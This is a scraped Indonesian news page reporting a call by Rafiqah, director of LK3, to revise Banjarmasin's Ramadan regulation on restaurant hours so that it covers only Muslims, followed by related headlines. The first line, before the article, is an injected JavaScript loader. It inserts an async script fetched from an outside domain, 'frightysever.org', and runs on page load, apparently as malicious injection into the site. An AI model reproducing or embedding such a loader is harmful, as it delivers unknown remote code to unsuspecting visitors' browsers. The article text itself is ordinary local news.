(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Tak terhitung sudah berapa rumah makan yang buka saat siang hari di bulan puasa ditertibkan Satpol PP , mengingat Peraturan Daerah (Perda) Kota Banjarmasin mewajibkan seluruh rumah makan tidak berjualan hingga jam yang ditentukan.
Meski begitu, masih banyak rumah makan yang ‘melawan’ dan tetap memilih untuk tetap melayani pembeli.
Melihat hal ini, Rafiqah, Direktur Lembaga Kajian Keislaman dan Kemasyarakatan (LK3) berharap jika perda Perda nomor 4 tahun 2005 dimana pemerintah kota membatasi durasi penjualan makanan minuman saat Ramadhan agar direvisi.
“Kalau bicara Perda Ramadhan, dari satu sisi menyayangkan kalau Perda ini masih berlaku. Apalagi Perda berlaku untuk semua. Padahal kota Banjarmasin itu komunitas dan masyarakatnya beragam,†ungkapnya.
Rafiqah sangat ingin jika Perda Ramadhan direvisi misalnya hanya berlaku untuk yang muslim dan tidak berlaku untuk yang non muslim. Sebab menurutnya masyarakat Banjarmasin sendiri sudah cukup dewasa dalam beragama. Serta sudah cukup mengerti bagaimana menyikapi umat Islam yang sedang berpuasa.
“Saya pikir kawan-kawan non muslim tidak begitu vulgar untuk makan dan minum di depan orang banyak. Jadi sebenarnya kedewaasaan beragama sudah tercermin di dalam masyarakat,†ungkapnya.
Ihwal Perda Ramadan yang telah diterapkan saat ini, saat terjadi razia rumah makan, alhasil petugas merazia keseluruhan rumah makan yang ada. “Padahal bisa bercermin dari Perda yang ada di HST kalau tidak salah, itu direvisi, yang berlaku untuk yang muslim saja. Sehingga ada kejelasan dari Perda yang ada. Bila ada penertiban oleh petugas, tidak serta merta untuk semua,†jelasnya.
Ke depannya ia sangat berharap bisa memberikan pemahaman ketika regulator pembuat kebijakan yang agak sensitif soal agama. Diharapkan agar para pembuat regulasi bisa mempertimbangkan banyak hal dan ridak melihat hanya dari satu sisi komunitas atau agama tertentu saja. “Perda kan untuk masyarakat kota. Masyaakat kota kan beragam,†imbuhnya.
Ia memberikan contoh ketika pemerintah kota Banjarmasin berbicara menuju kota inklusi. Inklusi di sini tidak hanya untuk disabilitas, tapi bagaimana inklusi juga melihat hak-hak dari kelompok-kelompok diskriminatif lainnya. Terutama jika berbicara hak warga negara. Jadi saat berbicara perda, tentu juga harus melihat semua sisi termasuk HAM. (mario)
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More
Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More
KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More
This website uses cookies.